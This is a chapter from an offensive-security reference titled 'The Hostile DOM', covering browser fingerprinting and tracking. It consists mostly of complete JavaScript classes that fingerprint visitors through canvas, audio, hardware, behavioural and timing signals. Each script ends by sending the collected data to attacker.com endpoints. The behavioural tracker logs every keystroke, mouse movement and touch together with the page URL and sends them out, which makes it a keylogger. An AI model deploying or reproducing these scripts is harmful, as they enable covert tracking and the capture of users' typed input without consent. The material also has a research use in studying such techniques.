The Hostile DOM: Deep Dive Technical Reference
Offensive Security Research
This document provides exhaustive technical analysis of browser-based attack vectors. All code examples are for educational and authorized security research purposes only.
Part 7: Fingerprinting & Tracking
7.1 Canvas Fingerprinting
Canvas fingerprinting exploits the HTML5 Canvas API to create unique device signatures.
Canvas Rendering Fingerprinting
Click to expand code
javascript
class CanvasFingerprinter {
constructor() {
this.fingerprint = {};
this.canvas = document.createElement('canvas');
this.ctx = this.canvas.getContext('2d');
}
// Generate comprehensive canvas fingerprint
async generateFingerprint() {
console.log('[+] Generating canvas fingerprint');
// Basic canvas properties
this.fingerprint.canvas = {
width: this.canvas.width,
height: this.canvas.height,
toDataURL: this.testToDataURL(),
toBlob: await this.testToBlob(),
getImageData: this.testGetImageData(),
webkitBackingStorePixelRatio: this.ctx.webkitBackingStorePixelRatio || 0,
backingStorePixelRatio: this.ctx.backingStorePixelRatio || 0
};
// Text rendering tests
this.fingerprint.textRendering = this.testTextRendering();
// Shape rendering tests
this.fingerprint.shapeRendering = this.testShapeRendering();
// Image rendering tests
this.fingerprint.imageRendering = await this.testImageRendering();
// WebGL fingerprinting
this.fingerprint.webgl = this.testWebGL();
// Font enumeration
this.fingerprint.fonts = this.enumerateFonts();
// Generate unique hash
this.fingerprint.hash = this.generateHash();
console.log('[+] Canvas fingerprint generated:', this.fingerprint.hash);
return this.fingerprint;
}
testToDataURL() {
// Clear canvas
this.ctx.clearRect(0, 0, this.canvas.width, this.canvas.height);
// Draw test pattern
this.ctx.fillStyle = 'rgba(255, 0, 0, 0.5)';
this.ctx.fillRect(0, 0, 10, 10);
try {
const dataURL = this.canvas.toDataURL();
return {
length: dataURL.length,
prefix: dataURL.substring(0, 50),
format: dataURL.split(',')[0]
};
} catch (error) {
return { error: error.message };
}
}
async testToBlob() {
return new Promise((resolve) => {
this.ctx.clearRect(0, 0, this.canvas.width, this.canvas.height);
this.ctx.fillStyle = 'blue';
this.ctx.fillRect(0, 0, 20, 20);
this.canvas.toBlob((blob) => {
resolve({
size: blob ? blob.size : 0,
type: blob ? blob.type : 'none'
});
});
});
}
testGetImageData() {
this.ctx.clearRect(0, 0, this.canvas.width, this.canvas.height);
this.ctx.fillStyle = 'green';
this.ctx.fillRect(0, 0, 5, 5);
try {
const imageData = this.ctx.getImageData(0, 0, 5, 5);
return {
width: imageData.width,
height: imageData.height,
dataLength: imageData.data.length,
sample: Array.from(imageData.data.slice(0, 20))
};
} catch (error) {
return { error: error.message };
}
}
testTextRendering() {
const tests = {};
const fonts = ['Arial', 'Helvetica', 'Times New Roman', 'Courier New'];
const text = 'Hello World 123!';
fonts.forEach(font => {
this.ctx.clearRect(0, 0, this.canvas.width, this.canvas.height);
this.ctx.font = `12px ${font}`;
this.ctx.fillText(text, 0, 12);
const imageData = this.ctx.getImageData(0, 0, 100, 20);
tests[font] = {
dataHash: this.simpleHash(imageData.data),
width: this.ctx.measureText(text).width
};
});
return tests;
}
testShapeRendering() {
const tests = {};
const shapes = ['rect', 'circle', 'triangle', 'bezier'];
shapes.forEach(shape => {
this.ctx.clearRect(0, 0, this.canvas.width, this.canvas.height);
switch (shape) {
case 'rect':
this.ctx.fillRect(0, 0, 10, 10);
break;
case 'circle':
this.ctx.beginPath();
this.ctx.arc(5, 5, 5, 0, 2 * Math.PI);
this.ctx.fill();
break;
case 'triangle':
this.ctx.beginPath();
this.ctx.moveTo(0, 0);
this.ctx.lineTo(10, 0);
this.ctx.lineTo(5, 10);
this.ctx.closePath();
this.ctx.fill();
break;
case 'bezier':
this.ctx.beginPath();
this.ctx.moveTo(0, 0);
this.ctx.bezierCurveTo(5, 0, 5, 10, 10, 10);
this.ctx.stroke();
break;
}
const imageData = this.ctx.getImageData(0, 0, 15, 15);
tests[shape] = this.simpleHash(imageData.data);
});
return tests;
}
async testImageRendering() {
return new Promise((resolve) => {
const img = new Image();
img.onload = () => {
this.ctx.clearRect(0, 0, this.canvas.width, this.canvas.height);
this.ctx.drawImage(img, 0, 0, 10, 10);
const imageData = this.ctx.getImageData(0, 0, 10, 10);
resolve({
dataHash: this.simpleHash(imageData.data),
naturalWidth: img.naturalWidth,
naturalHeight: img.naturalHeight
});
};
img.onerror = () => resolve({ error: 'Image load failed' });
// Use a small test image
img.src = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNkYPhfDwAChwGA60e6kgAAAABJRU5ErkJggg==';
});
}
testWebGL() {
try {
const gl = this.canvas.getContext('webgl') || this.canvas.getContext('experimental-webgl');
if (!gl) return { available: false };
const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
const renderer = debugInfo ? gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL) : 'unknown';
const vendor = debugInfo ? gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL) : 'unknown';
return {
available: true,
renderer: renderer,
vendor: vendor,
version: gl.getParameter(gl.VERSION),
shadingLanguageVersion: gl.getParameter(gl.SHADING_LANGUAGE_VERSION),
maxTextureSize: gl.getParameter(gl.MAX_TEXTURE_SIZE),
extensions: gl.getSupportedExtensions()
};
} catch (error) {
return { error: error.message };
}
}
enumerateFonts() {
const fonts = [];
const testString = 'mmmmmmmmmmlli';
const testSize = '72px';
const baselineSize = this.getTextWidth(testString, testSize, 'monospace');
// Common font list
const fontList = [
'Arial', 'Arial Black', 'Arial Narrow', 'Arial Rounded MT Bold',
'Bookman Old Style', 'Bradley Hand', 'Calibri', 'Cambria', 'Cambria Math',
'Candara', 'Century', 'Century Gothic', 'Century Schoolbook', 'Comic Sans MS',
'Consolas', 'Courier', 'Courier New', 'Garamond', 'Georgia', 'Helvetica',
'Impact', 'Lucida Bright', 'Lucida Calligraphy', 'Lucida Console', 'Lucida Fax',
'Lucida Handwriting', 'Lucida Sans', 'Lucida Sans Typewriter', 'Lucida Sans Unicode',
'Microsoft Sans Serif', 'Monaco', 'Monotype Corsiva', 'MS Gothic', 'MS Outlook',
'MS PGothic', 'MS Reference Sans Serif', 'MS Sans Serif', 'MS Serif', 'Palatino Linotype',
'Segoe Print', 'Segoe Script', 'Segoe UI', 'Segoe UI Light', 'Segoe UI Semibold',
'Segoe UI Symbol', 'Tahoma', 'Times', 'Times New Roman', 'Trebuchet MS',
'Verdana', 'Wingdings', 'Wingdings 2', 'Wingdings 3'
];
fontList.forEach(font => {
const width = this.getTextWidth(testString, testSize, font);
if (width !== baselineSize) {
fonts.push({ name: font, width: width });
}
});
return fonts;
}
getTextWidth(text, size, font) {
this.ctx.font = `${size} ${font}`;
return this.ctx.measureText(text).width;
}
simpleHash(data) {
let hash = 0;
for (let i = 0; i < data.length; i++) {
const char = data[i];
hash = ((hash << 5) - hash) + char;
hash = hash & hash; // Convert to 32-bit integer
}
return hash.toString(36);
}
generateHash() {
const data = JSON.stringify(this.fingerprint);
let hash = 0;
for (let i = 0; i < data.length; i++) {
const char = data.charCodeAt(i);
hash = ((hash << 5) - hash) + char;
hash = hash & hash;
}
return Math.abs(hash).toString(36);
}
}
// Initialize and generate fingerprint
const fingerprinter = new CanvasFingerprinter();
fingerprinter.generateFingerprint().then(fp => {
console.log('[+] Complete fingerprint:', fp);
// Exfiltrate fingerprint
fetch('https://attacker.com/fingerprint', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(fp)
});
});7.2 AudioContext Fingerprinting
Audio fingerprinting exploits Web Audio API differences for device identification.
Audio Processing Fingerprinting
Click to expand code
javascript
class AudioFingerprinter {
constructor() {
this.audioContext = null;
this.fingerprint = {};
}
async generateFingerprint() {
console.log('[+] Generating audio fingerprint');
try {
this.audioContext = new (window.AudioContext || window.webkitAudioContext)();
// Basic AudioContext properties
this.fingerprint.context = {
sampleRate: this.audioContext.sampleRate,
baseLatency: this.audioContext.baseLatency,
outputLatency: this.audioContext.outputLatency,
state: this.audioContext.state,
numberOfInputs: this.audioContext.destination.numberOfInputs,
numberOfOutputs: this.audioContext.destination.numberOfOutputs,
channelCount: this.audioContext.destination.channelCount,
channelCountMode: this.audioContext.destination.channelCountMode,
channelInterpretation: this.audioContext.destination.channelInterpretation
};
// Oscillator fingerprinting
this.fingerprint.oscillator = await this.testOscillator();
// Analyser node fingerprinting
this.fingerprint.analyser = this.testAnalyser();
// Biquad filter fingerprinting
this.fingerprint.biquadFilter = this.testBiquadFilter();
// Convolution reverb fingerprinting
this.fingerprint.convolution = await this.testConvolution();
// Dynamics compressor fingerprinting
this.fingerprint.dynamicsCompressor = this.testDynamicsCompressor();
// Generate hash
this.fingerprint.hash = this.generateHash();
console.log('[+] Audio fingerprint generated:', this.fingerprint.hash);
return this.fingerprint;
} catch (error) {
console.log('[-] Audio fingerprinting failed:', error);
return { error: error.message };
}
}
async testOscillator() {
const oscillator = this.audioContext.createOscillator();
const analyser = this.audioContext.createAnalyser();
oscillator.connect(analyser);
oscillator.frequency.setValueAtTime(1000, this.audioContext.currentTime);
oscillator.start();
// Let it run for a bit
await this.delay(100);
const bufferLength = analyser.frequencyBinCount;
const dataArray = new Uint8Array(bufferLength);
analyser.getByteFrequencyData(dataArray);
oscillator.stop();
return {
frequencyData: Array.from(dataArray.slice(0, 10)),
sampleRate: this.audioContext.sampleRate
};
}
testAnalyser() {
const analyser = this.audioContext.createAnalyser();
return {
fftSize: analyser.fftSize,
frequencyBinCount: analyser.frequencyBinCount,
minDecibels: analyser.minDecibels,
maxDecibels: analyser.maxDecibels,
smoothingTimeConstant: analyser.smoothingTimeConstant
};
}
testBiquadFilter() {
const filter = this.audioContext.createBiquadFilter();
return {
type: filter.type,
frequency: filter.frequency.value,
detune: filter.detune.value,
Q: filter.Q.value,
gain: filter.gain.value
};
}
async testConvolution() {
try {
// Create a simple impulse response
const impulseLength = this.audioContext.sampleRate * 0.1; // 100ms
const impulseBuffer = this.audioContext.createBuffer(2, impulseLength, this.audioContext.sampleRate);
for (let channel = 0; channel < 2; channel++) {
const channelData = impulseBuffer.getChannelData(channel);
channelData[0] = 1; // Impulse at the beginning
}
const convolver = this.audioContext.createConvolver();
convolver.buffer = impulseBuffer;
return {
available: true,
bufferLength: impulseBuffer.length,
numberOfChannels: impulseBuffer.numberOfChannels,
sampleRate: impulseBuffer.sampleRate
};
} catch (error) {
return { available: false, error: error.message };
}
}
testDynamicsCompressor() {
const compressor = this.audioContext.createDynamicsCompressor();
return {
threshold: compressor.threshold.value,
knee: compressor.knee.value,
ratio: compressor.ratio.value,
attack: compressor.attack.value,
release: compressor.release.value
};
}
generateHash() {
const data = JSON.stringify(this.fingerprint);
let hash = 0;
for (let i = 0; i < data.length; i++) {
const char = data.charCodeAt(i);
hash = ((hash << 5) - hash) + char;
hash = hash & hash;
}
return Math.abs(hash).toString(36);
}
delay(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
}
// Initialize and generate fingerprint
const audioFingerprinter = new AudioFingerprinter();
audioFingerprinter.generateFingerprint().then(fp => {
console.log('[+] Complete audio fingerprint:', fp);
// Exfiltrate fingerprint
fetch('https://attacker.com/audio-fingerprint', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(fp)
});
});7.3 Device and Hardware Fingerprinting
Hardware Enumeration
Click to expand code
javascript
class HardwareFingerprinter {
constructor() {
this.fingerprint = {};
}
async generateFingerprint() {
console.log('[+] Generating hardware fingerprint');
// Screen properties
this.fingerprint.screen = this.getScreenFingerprint();
// Navigator properties
this.fingerprint.navigator = this.getNavigatorFingerprint();
// Hardware concurrency
this.fingerprint.hardware = this.getHardwareFingerprint();
// Battery API
this.fingerprint.battery = await this.getBatteryFingerprint();
// Device memory
this.fingerprint.memory = this.getMemoryFingerprint();
// Connection information
this.fingerprint.connection = this.getConnectionFingerprint();
// WebGL extensions and capabilities
this.fingerprint.webgl = this.getWebGLFingerprint();
// Touch capabilities
this.fingerprint.touch = this.getTouchFingerprint();
// Vibration API
this.fingerprint.vibration = this.getVibrationFingerprint();
// Ambient light sensor
this.fingerprint.ambientLight = await this.getAmbientLightFingerprint();
// Device orientation
this.fingerprint.orientation = this.getOrientationFingerprint();
// Generate unique hash
this.fingerprint.hash = this.generateHash();
console.log('[+] Hardware fingerprint generated:', this.fingerprint.hash);
return this.fingerprint;
}
getScreenFingerprint() {
return {
width: screen.width,
height: screen.height,
availWidth: screen.availWidth,
availHeight: screen.availHeight,
colorDepth: screen.colorDepth,
pixelDepth: screen.pixelDepth,
devicePixelRatio: window.devicePixelRatio,
orientation: screen.orientation ? screen.orientation.type : 'unknown'
};
}
getNavigatorFingerprint() {
return {
userAgent: navigator.userAgent,
language: navigator.language,
languages: navigator.languages,
platform: navigator.platform,
cookieEnabled: navigator.cookieEnabled,
doNotTrack: navigator.doNotTrack,
maxTouchPoints: navigator.maxTouchPoints,
hardwareConcurrency: navigator.hardwareConcurrency,
deviceMemory: navigator.deviceMemory,
webdriver: navigator.webdriver
};
}
getHardwareFingerprint() {
return {
hardwareConcurrency: navigator.hardwareConcurrency,
deviceMemory: navigator.deviceMemory,
platform: navigator.platform,
userAgent: navigator.userAgent
};
}
async getBatteryFingerprint() {
if ('getBattery' in navigator) {
try {
const battery = await navigator.getBattery();
return {
charging: battery.charging,
chargingTime: battery.chargingTime,
dischargingTime: battery.dischargingTime,
level: battery.level
};
} catch (error) {
return { error: error.message };
}
}
return { available: false };
}
getMemoryFingerprint() {
return {
deviceMemory: navigator.deviceMemory,
jsHeapSizeLimit: performance.memory ? performance.memory.jsHeapSizeLimit : 'unknown',
totalJSHeapSize: performance.memory ? performance.memory.totalJSHeapSize : 'unknown',
usedJSHeapSize: performance.memory ? performance.memory.usedJSHeapSize : 'unknown'
};
}
getConnectionFingerprint() {
const connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
if (connection) {
return {
effectiveType: connection.effectiveType,
downlink: connection.downlink,
rtt: connection.rtt,
type: connection.type,
saveData: connection.saveData
};
}
return { available: false };
}
getWebGLFingerprint() {
try {
const canvas = document.createElement('canvas');
const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
if (!gl) return { available: false };
const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
return {
available: true,
vendor: debugInfo ? gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL) : gl.getParameter(gl.VENDOR),
renderer: debugInfo ? gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL) : gl.getParameter(gl.RENDERER),
version: gl.getParameter(gl.VERSION),
shadingLanguageVersion: gl.getParameter(gl.SHADING_LANGUAGE_VERSION),
maxVertexAttribs: gl.getParameter(gl.MAX_VERTEX_ATTRIBS),
maxVertexUniformVectors: gl.getParameter(gl.MAX_VERTEX_UNIFORM_VECTORS),
maxFragmentUniformVectors: gl.getParameter(gl.MAX_FRAGMENT_UNIFORM_VECTORS),
maxTextureSize: gl.getParameter(gl.MAX_TEXTURE_SIZE),
extensions: gl.getSupportedExtensions().sort()
};
} catch (error) {
return { error: error.message };
}
}
getTouchFingerprint() {
return {
maxTouchPoints: navigator.maxTouchPoints,
ontouchstart: 'ontouchstart' in window,
ontouchend: 'ontouchend' in window,
ontouchmove: 'ontouchmove' in window,
ontouchcancel: 'ontouchcancel' in window
};
}
getVibrationFingerprint() {
return {
vibrate: 'vibrate' in navigator
};
}
async getAmbientLightFingerprint() {
if ('AmbientLightSensor' in window) {
try {
const sensor = new AmbientLightSensor();
return {
available: true,
illuminance: sensor.illuminance ? sensor.illuminance.value : 'unknown'
};
} catch (error) {
return { available: false, error: error.message };
}
}
return { available: false };
}
getOrientationFingerprint() {
return {
deviceorientation: 'ondeviceorientation' in window,
devicemotion: 'ondevicemotion' in window,
compassneedscalibration: 'oncompassneedscalibration' in window
};
}
generateHash() {
const data = JSON.stringify(this.fingerprint);
let hash = 0;
for (let i = 0; i < data.length; i++) {
const char = data.charCodeAt(i);
hash = ((hash << 5) - hash) + char;
hash = hash & hash;
}
return Math.abs(hash).toString(36);
}
}
// Initialize and generate fingerprint
const hardwareFingerprinter = new HardwareFingerprinter();
hardwareFingerprinter.generateFingerprint().then(fp => {
console.log('[+] Complete hardware fingerprint:', fp);
// Exfiltrate fingerprint
fetch('https://attacker.com/hardware-fingerprint', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(fp)
});
});7.4 Behavioral Fingerprinting
Mouse and Keyboard Dynamics
Click to expand code
javascript
class BehavioralFingerprinter {
constructor() {
this.mouseData = [];
this.keyboardData = [];
this.scrollData = [];
this.fingerprint = {};
}
startTracking() {
console.log('[+] Starting behavioral tracking');
// Mouse tracking
document.addEventListener('mousemove', this.trackMouse.bind(this));
document.addEventListener('mousedown', this.trackMouseClick.bind(this));
document.addEventListener('mouseup', this.trackMouseClick.bind(this));
// Keyboard tracking
document.addEventListener('keydown', this.trackKeyboard.bind(this));
document.addEventListener('keyup', this.trackKeyboard.bind(this));
// Scroll tracking
document.addEventListener('scroll', this.trackScroll.bind(this));
// Touch tracking (for mobile)
document.addEventListener('touchstart', this.trackTouch.bind(this));
document.addEventListener('touchmove', this.trackTouch.bind(this));
document.addEventListener('touchend', this.trackTouch.bind(this));
// Stop tracking after 30 seconds and generate fingerprint
setTimeout(() => {
this.stopTracking();
this.generateFingerprint();
}, 30000);
}
stopTracking() {
console.log('[+] Stopping behavioral tracking');
// Remove all event listeners
document.removeEventListener('mousemove', this.trackMouse.bind(this));
document.removeEventListener('mousedown', this.trackMouseClick.bind(this));
document.removeEventListener('mouseup', this.trackMouseClick.bind(this));
document.removeEventListener('keydown', this.trackKeyboard.bind(this));
document.removeEventListener('keyup', this.trackKeyboard.bind(this));
document.removeEventListener('scroll', this.trackScroll.bind(this));
document.removeEventListener('touchstart', this.trackTouch.bind(this));
document.removeEventListener('touchmove', this.trackTouch.bind(this));
document.removeEventListener('touchend', this.trackTouch.bind(this));
}
trackMouse(event) {
this.mouseData.push({
x: event.clientX,
y: event.clientY,
timestamp: Date.now(),
type: 'move'
});
// Keep only last 1000 mouse movements
if (this.mouseData.length > 1000) {
this.mouseData.shift();
}
}
trackMouseClick(event) {
this.mouseData.push({
x: event.clientX,
y: event.clientY,
button: event.button,
timestamp: Date.now(),
type: event.type
});
}
trackKeyboard(event) {
this.keyboardData.push({
key: event.key,
code: event.code,
timestamp: Date.now(),
type: event.type,
shiftKey: event.shiftKey,
ctrlKey: event.ctrlKey,
altKey: event.altKey,
metaKey: event.metaKey
});
// Keep only last 500 keystrokes
if (this.keyboardData.length > 500) {
this.keyboardData.shift();
}
}
trackScroll(event) {
this.scrollData.push({
scrollX: window.scrollX,
scrollY: window.scrollY,
timestamp: Date.now()
});
// Keep only last 100 scroll events
if (this.scrollData.length > 100) {
this.scrollData.shift();
}
}
trackTouch(event) {
const touches = Array.from(event.touches).map(touch => ({
identifier: touch.identifier,
clientX: touch.clientX,
clientY: touch.clientY,
radiusX: touch.radiusX,
radiusY: touch.radiusY,
rotationAngle: touch.rotationAngle,
force: touch.force
}));
this.mouseData.push({
touches: touches,
timestamp: Date.now(),
type: event.type
});
}
generateFingerprint() {
console.log('[+] Generating behavioral fingerprint');
// Analyze mouse patterns
this.fingerprint.mouse = this.analyzeMousePatterns();
// Analyze keyboard patterns
this.fingerprint.keyboard = this.analyzeKeyboardPatterns();
// Analyze scroll patterns
this.fingerprint.scroll = this.analyzeScrollPatterns();
// Generate overall behavioral hash
this.fingerprint.hash = this.generateHash();
console.log('[+] Behavioral fingerprint generated:', this.fingerprint.hash);
// Exfiltrate fingerprint
this.exfiltrateFingerprint();
}
analyzeMousePatterns() {
if (this.mouseData.length < 10) return { insufficient: true };
const moves = this.mouseData.filter(d => d.type === 'move');
const clicks = this.mouseData.filter(d => d.type === 'mousedown' || d.type === 'mouseup');
// Calculate mouse movement statistics
const velocities = [];
for (let i = 1; i < moves.length; i++) {
const dx = moves[i].x - moves[i-1].x;
const dy = moves[i].y - moves[i-1].y;
const dt = moves[i].timestamp - moves[i-1].timestamp;
const velocity = Math.sqrt(dx*dx + dy*dy) / dt;
velocities.push(velocity);
}
return {
totalMoves: moves.length,
totalClicks: clicks.length,
averageVelocity: velocities.reduce((a, b) => a + b, 0) / velocities.length,
velocityStdDev: this.calculateStdDev(velocities),
clickPattern: clicks.map(c => ({ x: c.x, y: c.y, button: c.button }))
};
}
analyzeKeyboardPatterns() {
if (this.keyboardData.length < 10) return { insufficient: true };
const keydowns = this.keyboardData.filter(d => d.type === 'keydown');
const keyups = this.keyboardData.filter(d => d.type === 'keyup');
// Calculate typing speed and patterns
const intervals = [];
for (let i = 1; i < keydowns.length; i++) {
intervals.push(keydowns[i].timestamp - keydowns[i-1].timestamp);
}
// Key hold times
const holdTimes = [];
for (let i = 0; i < Math.min(keydowns.length, keyups.length); i++) {
if (keydowns[i].key === keyups[i].key) {
holdTimes.push(keyups[i].timestamp - keydowns[i].timestamp);
}
}
return {
totalKeystrokes: this.keyboardData.length,
averageInterval: intervals.reduce((a, b) => a + b, 0) / intervals.length,
intervalStdDev: this.calculateStdDev(intervals),
averageHoldTime: holdTimes.reduce((a, b) => a + b, 0) / holdTimes.length,
holdTimeStdDev: this.calculateStdDev(holdTimes),
commonKeys: this.getMostCommonKeys()
};
}
analyzeScrollPatterns() {
if (this.scrollData.length < 5) return { insufficient: true };
const scrollSpeeds = [];
for (let i = 1; i < this.scrollData.length; i++) {
const dy = Math.abs(this.scrollData[i].scrollY - this.scrollData[i-1].scrollY);
const dt = this.scrollData[i].timestamp - this.scrollData[i-1].timestamp;
const speed = dy / dt;
scrollSpeeds.push(speed);
}
return {
totalScrolls: this.scrollData.length,
averageSpeed: scrollSpeeds.reduce((a, b) => a + b, 0) / scrollSpeeds.length,
speedStdDev: this.calculateStdDev(scrollSpeeds),
maxScrollY: Math.max(...this.scrollData.map(d => d.scrollY))
};
}
calculateStdDev(values) {
const mean = values.reduce((a, b) => a + b, 0) / values.length;
const squareDiffs = values.map(value => Math.pow(value - mean, 2));
const avgSquareDiff = squareDiffs.reduce((a, b) => a + b, 0) / squareDiffs.length;
return Math.sqrt(avgSquareDiff);
}
getMostCommonKeys() {
const keyCounts = {};
this.keyboardData.forEach(d => {
if (d.type === 'keydown') {
keyCounts[d.key] = (keyCounts[d.key] || 0) + 1;
}
});
return Object.entries(keyCounts)
.sort(([,a], [,b]) => b - a)
.slice(0, 10)
.map(([key, count]) => ({ key, count }));
}
generateHash() {
const data = JSON.stringify(this.fingerprint);
let hash = 0;
for (let i = 0; i < data.length; i++) {
const char = data.charCodeAt(i);
hash = ((hash << 5) - hash) + char;
hash = hash & hash;
}
return Math.abs(hash).toString(36);
}
exfiltrateFingerprint() {
fetch('https://attacker.com/behavioral-fingerprint', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
fingerprint: this.fingerprint,
timestamp: new Date().toISOString(),
url: location.href
})
});
}
}
// Initialize and start tracking
const behavioralFingerprinter = new BehavioralFingerprinter();
behavioralFingerprinter.startTracking();7.5 Timing Attacks and Clock Skew
High-Resolution Timing Fingerprinting
Click to expand code
javascript
class TimingFingerprinter {
constructor() {
this.measurements = [];
this.fingerprint = {};
}
async generateFingerprint() {
console.log('[+] Generating timing fingerprint');
// Performance.now() precision
this.fingerprint.performanceNow = this.measurePerformancePrecision();
// Date.now() precision
this.fingerprint.dateNow = this.measureDatePrecision();
// requestAnimationFrame timing
this.fingerprint.raf = await this.measureRAFTiming();
// setTimeout/setInterval precision
this.fingerprint.timers = this.measureTimerPrecision();
// CPU timing variations
this.fingerprint.cpuTiming = await this.measureCPUTiming();
// Memory access timing
this.fingerprint.memoryTiming = this.measureMemoryTiming();
// Network timing
this.fingerprint.networkTiming = await this.measureNetworkTiming();
// Generate hash
this.fingerprint.hash = this.generateHash();
console.log('[+] Timing fingerprint generated:', this.fingerprint.hash);
return this.fingerprint;
}
measurePerformancePrecision() {
const measurements = [];
for (let i = 0; i < 1000; i++) {
const start = performance.now();
const end = performance.now();
measurements.push(end - start);
}
return {
min: Math.min(...measurements),
max: Math.max(...measurements),
average: measurements.reduce((a, b) => a + b, 0) / measurements.length,
precision: this.calculatePrecision(measurements)
};
}
measureDatePrecision() {
const measurements = [];
for (let i = 0; i < 1000; i++) {
const start = Date.now();
const end = Date.now();
measurements.push(end - start);
}
return {
min: Math.min(...measurements),
max: Math.max(...measurements),
average: measurements.reduce((a, b) => a + b, 0) / measurements.length,
precision: this.calculatePrecision(measurements)
};
}
async measureRAFTiming() {
return new Promise((resolve) => {
const frameTimes = [];
let lastTime = performance.now();
let frameCount = 0;
const measureFrame = (currentTime) => {
frameTimes.push(currentTime - lastTime);
lastTime = currentTime;
frameCount++;
if (frameCount < 60) { // Measure 60 frames
requestAnimationFrame(measureFrame);
} else {
resolve({
averageFrameTime: frameTimes.reduce((a, b) => a + b, 0) / frameTimes.length,
frameTimeVariance: this.calculateVariance(frameTimes),
minFrameTime: Math.min(...frameTimes),
maxFrameTime: Math.max(...frameTimes)
});
}
};
requestAnimationFrame(measureFrame);
});
}
measureTimerPrecision() {
const setTimeoutMeasurements = [];
const setIntervalMeasurements = [];
// Measure setTimeout precision
for (let i = 0; i < 100; i++) {
const start = performance.now();
setTimeout(() => {
const end = performance.now();
setTimeoutMeasurements.push(end - start - 1); // Subtract expected 1ms
}, 1);
}
// Measure setInterval precision
let intervalCount = 0;
let lastIntervalTime = performance.now();
const intervalId = setInterval(() => {
const currentTime = performance.now();
setIntervalMeasurements.push(currentTime - lastIntervalTime - 10); // Subtract expected 10ms
lastIntervalTime = currentTime;
intervalCount++;
if (intervalCount >= 100) {
clearInterval(intervalId);
}
}, 10);
// Wait for measurements to complete
return new Promise((resolve) => {
setTimeout(() => {
resolve({
setTimeout: {
average: setTimeoutMeasurements.reduce((a, b) => a + b, 0) / setTimeoutMeasurements.length,
precision: this.calculatePrecision(setTimeoutMeasurements)
},
setInterval: {
average: setIntervalMeasurements.reduce((a, b) => a + b, 0) / setIntervalMeasurements.length,
precision: this.calculatePrecision(setIntervalMeasurements)
}
});
}, 2000);
});
}
async measureCPUTiming() {
const operations = [
() => Math.sqrt(Math.random()), // Simple math
() => Array(1000).fill(0).map(x => x + 1), // Array operations
() => JSON.stringify({ data: 'x'.repeat(1000) }), // String operations
() => new Uint8Array(1000000).fill(255) // Memory operations
];
const timingResults = {};
for (let i = 0; i < operations.length; i++) {
const op = operations[i];
const measurements = [];
for (let j = 0; j < 100; j++) {
const start = performance.now();
op();
const end = performance.now();
measurements.push(end - start);
}
timingResults[`operation_${i}`] = {
average: measurements.reduce((a, b) => a + b, 0) / measurements.length,
variance: this.calculateVariance(measurements),
min: Math.min(...measurements),
max: Math.max(...measurements)
};
}
return timingResults;
}
measureMemoryTiming() {
const arraySizes = [1000, 10000, 100000, 1000000];
const timingResults = {};
arraySizes.forEach(size => {
const measurements = [];
for (let i = 0; i < 50; i++) {
const start = performance.now();
const array = new Array(size);
for (let j = 0; j < size; j++) {
array[j] = j;
}
const end = performance.now();
measurements.push(end - start);
}
timingResults[`size_${size}`] = {
average: measurements.reduce((a, b) => a + b, 0) / measurements.length,
variance: this.calculateVariance(measurements)
};
});
return timingResults;
}
async measureNetworkTiming() {
const urls = [
'https://www.google.com/favicon.ico',
'https://www.facebook.com/favicon.ico',
'https://www.github.com/favicon.ico'
];
const timingResults = {};
for (const url of urls) {
const measurements = [];
for (let i = 0; i < 10; i++) {
const start = performance.now();
try {
await fetch(url, { method: 'HEAD', mode: 'no-cors' });
const end = performance.now();
measurements.push(end - start);
} catch (error) {
measurements.push(-1); // Failed request
}
}
timingResults[url] = {
average: measurements.filter(x => x !== -1).reduce((a, b) => a + b, 0) / measurements.filter(x => x !== -1).length,
failures: measurements.filter(x => x === -1).length
};
}
return timingResults;
}
calculatePrecision(measurements) {
const sorted = measurements.sort((a, b) => a - b);
return sorted[Math.floor(sorted.length * 0.95)] - sorted[Math.floor(sorted.length * 0.05)];
}
calculateVariance(values) {
const mean = values.reduce((a, b) => a + b, 0) / values.length;
const squareDiffs = values.map(value => Math.pow(value - mean, 2));
return squareDiffs.reduce((a, b) => a + b, 0) / squareDiffs.length;
}
generateHash() {
const data = JSON.stringify(this.fingerprint);
let hash = 0;
for (let i = 0; i < data.length; i++) {
const char = data.charCodeAt(i);
hash = ((hash << 5) - hash) + char;
hash = hash & hash;
}
return Math.abs(hash).toString(36);
}
}
// Initialize and generate fingerprint
const timingFingerprinter = new TimingFingerprinter();
timingFingerprinter.generateFingerprint().then(fp => {
console.log('[+] Complete timing fingerprint:', fp);
// Exfiltrate fingerprint
fetch('https://attacker.com/timing-fingerprint', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(fp)
});
});